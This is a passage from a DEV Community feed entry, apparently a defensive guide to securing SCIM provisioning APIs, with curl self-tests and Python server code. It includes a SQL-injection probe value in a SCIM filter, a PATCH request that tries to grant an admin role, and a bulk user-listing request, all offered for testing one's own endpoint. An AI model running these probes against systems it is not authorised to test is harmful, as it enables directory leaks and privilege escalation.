<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: IAMDevBox</title>
    <description>The latest articles on DEV Community by IAMDevBox (@iamdevbox).</description>
    <link>https://dev.to/iamdevbox</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3197304%2Fef9976ee-ff50-4625-bfb2-fc17fe9b3e50.png</url>
      <title>DEV Community: IAMDevBox</title>
      <link>https://dev.to/iamdevbox</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/iamdevbox"/>
    <language>en</language>
    <item>
      <title>SCIM Endpoint Security: How to Lock Down a Provisioning API Before It Leaks Your Directory</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Tue, 06 Oct 2026 23:13:06 +0000</pubDate>
      <link>https://dev.to/iamdevbox/scim-endpoint-security-how-to-lock-down-a-provisioning-api-before-it-leaks-your-directory-9k6</link>
      <guid>https://dev.to/iamdevbox/scim-endpoint-security-how-to-lock-down-a-provisioning-api-before-it-leaks-your-directory-9k6</guid>
      <description>&lt;p&gt;A SCIM endpoint is a REST API that can list, create, modify and disable every identity in your directory, and it is usually protected by one long-lived bearer token pasted into an admin console. That combination is why SCIM misconfigurations tend to be bulk-exposure incidents rather than single-account ones. If you are building the server side, this guide walks through the six controls that decide whether a stolen or misused provisioning token is a nuisance or a breach, with a test you can run against your own endpoint for each one.&lt;/p&gt;

&lt;p&gt;If you are new to the protocol, start with &lt;a href="https://dev.to/posts/implementing-scim-20-for-user-provisioning-and-deprovisioning/"&gt;Implementing SCIM 2.0 for user provisioning and deprovisioning&lt;/a&gt;. For the client-side interoperability problems you hit with Microsoft Entra, see &lt;a href="https://dev.to/posts/lessons-learned-implementing-scim-with-microsoft-entra-and-the-scim-validator/"&gt;lessons learned implementing SCIM with Microsoft Entra and the SCIM validator&lt;/a&gt;. This article covers a different angle: assuming the integration works, how do you make sure it only does what it should?&lt;/p&gt;

&lt;h2&gt;
  
  
  Why SCIM Endpoints Over-Expose Data
&lt;/h2&gt;

&lt;p&gt;SCIM (RFC 7643 for schemas, RFC 7644 for the protocol) was designed for interoperability between a provisioning client, usually an IdP, and a service provider. The spec describes the wire format well and says comparatively little about authorization policy. RFC 7644 section 7 lists security considerations, but the practical decisions are left to implementers: what a token may read, how many results a query may return, which attributes are writable.&lt;/p&gt;

&lt;p&gt;Three properties make the endpoint attractive to attackers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;It is a directory API.&lt;/strong&gt; &lt;code&gt;GET /Users&lt;/code&gt; with a filter or pagination is a documented way to enumerate every account, including emails, group membership and &lt;code&gt;active&lt;/code&gt; status.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The credential is static.&lt;/strong&gt; Most connectors (Entra ID's provisioning secret token, Okta's HTTP header or Basic auth, many SaaS "SCIM API keys") are long-lived and rarely rotated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It is write-capable.&lt;/strong&gt; A token that can &lt;code&gt;POST /Users&lt;/code&gt; and &lt;code&gt;PATCH&lt;/code&gt; group membership can create a persistent backdoor account without ever touching the login flow.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can see the read-side problem in a single request. Against a test environment you own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;https://idp.example.com/scim/v2
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;provisioning-token&amp;gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/Users?startIndex=1&amp;amp;count=100000"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="s1"&gt;'{total: .totalResults, returned: (.Resources | length), perPage: .itemsPerPage}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A hardened server answers with a capped &lt;code&gt;returned&lt;/code&gt; and &lt;code&gt;itemsPerPage&lt;/code&gt; (say 100) and expects the client to page. A permissive one returns thousands of records in one response.&lt;/p&gt;

&lt;h2&gt;
  
  
  Control 1: Scope the Token to the Application, Not the Tenant
&lt;/h2&gt;

&lt;p&gt;The most common design flaw is a single SCIM token that maps to "the provisioning service" rather than to a specific application or tenant. If the server authenticates the token and then queries the whole user table, the token's real scope is everyone.&lt;/p&gt;

&lt;p&gt;Server-side, bind the token to a tenant or application ID at issuance and apply it to every query, not only to writes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FastAPI-style handler: every query is constrained by the token's tenant
&lt;/span&gt;&lt;span class="nd"&gt;@router.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/scim/v2/Users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;list_users&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;startIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
               &lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
               &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TokenContext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Depends&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;require_scim_token&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;MAX_PAGE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# server-side cap
&lt;/span&gt;    &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tenant_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tenant_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# never trust the client
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;apply_scim_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;startIndex&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;scim_list_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;startIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Beyond scoping, treat the token like any other long-lived secret:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Store only a hash server-side, show the token once at creation.&lt;/li&gt;
&lt;li&gt;Support rotation with overlapping validity so you can rotate without breaking the connector.&lt;/li&gt;
&lt;li&gt;Prefer OAuth 2.0 client credentials with a short-lived access token when the client supports it. Entra and Okta both support OAuth-based SCIM connections for some integration types, which removes the static secret from the picture.&lt;/li&gt;
&lt;li&gt;Pin allowed source IP ranges where the IdP publishes them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Control 2: Cap Pagination and Constrain Filters
&lt;/h2&gt;

&lt;p&gt;RFC 7644 section 3.4.2.4 says the server decides how many results to return per page, and that a response may contain fewer resources than the client asked for. That gives you explicit permission to enforce a ceiling. &lt;code&gt;startIndex&lt;/code&gt; is 1-based, and a &lt;code&gt;count&lt;/code&gt; of 0 is valid and returns only &lt;code&gt;totalResults&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Enforce three limits:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Limit&lt;/th&gt;
&lt;th&gt;Suggested value&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Maximum &lt;code&gt;count&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;100 to 200&lt;/td&gt;
&lt;td&gt;Stops single-request dumps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maximum &lt;code&gt;startIndex&lt;/code&gt; depth&lt;/td&gt;
&lt;td&gt;Optional, tenant-sized&lt;/td&gt;
&lt;td&gt;Deep offset scans are expensive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Filter length&lt;/td&gt;
&lt;td&gt;1,024 characters&lt;/td&gt;
&lt;td&gt;Bounds parser and DB work&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Then restrict what filters can do. SCIM filter syntax (&lt;code&gt;userName eq "bjensen"&lt;/code&gt;, &lt;code&gt;emails.value co "example.com"&lt;/code&gt;, &lt;code&gt;meta.lastModified gt "2026-01-01T00:00:00Z"&lt;/code&gt;) is a small query language. If you translate it to SQL by string concatenation, you have created an injection point reachable with a bearer token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Probe: does the server treat the value as data or as SQL?&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"filter=userName eq &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;x' OR '1'='1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/Users"&lt;/span&gt; | jq &lt;span class="s1"&gt;'.totalResults'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that returns anything other than 0, stop and fix it. The correct approach is to parse the filter into an AST, validate each attribute path against an allow-list from your schema, and bind values as parameters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ALLOWED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;userName&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;emails.value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
           &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;active&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;active&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;meta.lastModified&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;updated_at&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;apply_scim_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;node&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_scim_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# raises on unknown grammar
&lt;/span&gt;    &lt;span class="n"&gt;attr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ALLOWED&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;attr&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ScimError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;invalidFilter&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unsupported attribute &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# parameterized
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;RFC 7644 defines the error types to return: &lt;code&gt;invalidFilter&lt;/code&gt; for a bad expression and &lt;code&gt;tooMany&lt;/code&gt; when a filter matches more than the server is willing to return. Using them gives well-behaved clients something to act on.&lt;/p&gt;

&lt;p&gt;Also watch for case sensitivity. &lt;code&gt;userName&lt;/code&gt; is case-insensitive by default in the core schema, so make sure uniqueness and lookups agree, otherwise &lt;code&gt;Admin&lt;/code&gt; and &lt;code&gt;admin&lt;/code&gt; can become two accounts that collide downstream.&lt;/p&gt;

&lt;h2&gt;
  
  
  Control 3: Never Return What the Client Should Not Read
&lt;/h2&gt;

&lt;p&gt;RFC 7643 section 7 gives each attribute a &lt;code&gt;returned&lt;/code&gt; characteristic: &lt;code&gt;always&lt;/code&gt;, &lt;code&gt;never&lt;/code&gt;, &lt;code&gt;default&lt;/code&gt; or &lt;code&gt;request&lt;/code&gt;. The core &lt;code&gt;password&lt;/code&gt; attribute is &lt;code&gt;returned: never&lt;/code&gt;. Violations usually come from custom extension schemas, where a developer adds &lt;code&gt;apiKey&lt;/code&gt;, &lt;code&gt;mfaSecret&lt;/code&gt; or &lt;code&gt;recoveryCodes&lt;/code&gt; and the serializer happily includes the whole row.&lt;/p&gt;

&lt;p&gt;Audit what a single user resource actually returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/Users/&amp;lt;id&amp;gt;"&lt;/span&gt; | jq &lt;span class="s1"&gt;'paths(scalars) | join(".")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Review every path in that output. Anything that functions as a credential, or any internal field (database ids, internal role flags, password hashes) is a leak. Fix it at the serializer, with an explicit allow-list of attributes per resource type rather than a deny-list that goes stale when someone adds a column.&lt;/p&gt;

&lt;p&gt;Also check the discovery endpoints, which are unauthenticated on some servers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nv"&gt;$BASE&lt;/span&gt;/ServiceProviderConfig | jq
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nv"&gt;$BASE&lt;/span&gt;/Schemas | jq &lt;span class="s1"&gt;'.Resources[].id'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nv"&gt;$BASE&lt;/span&gt;/ResourceTypes | jq &lt;span class="s1"&gt;'.Resources[].name'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These are meant to describe capabilities, which is fine. Confirm they do not reveal internal schema names or extension attributes you would rather not publish.&lt;/p&gt;

&lt;h2&gt;
  
  
  Control 4: Authorize PATCH on Privileged Attributes
&lt;/h2&gt;

&lt;p&gt;Provisioning clients legitimately change profile data and &lt;code&gt;active&lt;/code&gt;. They should not automatically be able to change who is an administrator. RFC 7644 PATCH operations (&lt;code&gt;add&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt;, &lt;code&gt;replace&lt;/code&gt; with a &lt;code&gt;path&lt;/code&gt;) can target &lt;code&gt;roles&lt;/code&gt;, &lt;code&gt;groups&lt;/code&gt;, or a custom enterprise extension, and a server that applies them blindly turns a provisioning token into a privilege-escalation primitive.&lt;/p&gt;

&lt;p&gt;Test it with a low-privilege token against a throwaway account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; PATCH &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/scim+json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/Users/&amp;lt;id&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
    "Operations": [{"op": "add", "path": "roles", "value": [{"value": "admin"}]}]
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A hardened server returns &lt;code&gt;403&lt;/code&gt; (or &lt;code&gt;400&lt;/code&gt; with a &lt;code&gt;mutability&lt;/code&gt; scimType) and logs the attempt. The same applies to group membership for groups that carry elevated rights, and to &lt;code&gt;userName&lt;/code&gt; or email changes that could hijack an account at a downstream service that matches users by email.&lt;/p&gt;

&lt;p&gt;Implement this as a policy table, not scattered &lt;code&gt;if&lt;/code&gt; statements:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;PRIVILEGED_PATHS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;roles&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;groups&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;urn:example:params:scim:schemas:extension:admin:2.0:User&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;authorize_patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;operations&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;operations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;PRIVILEGED_PATHS&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scim:admin-write&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scopes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
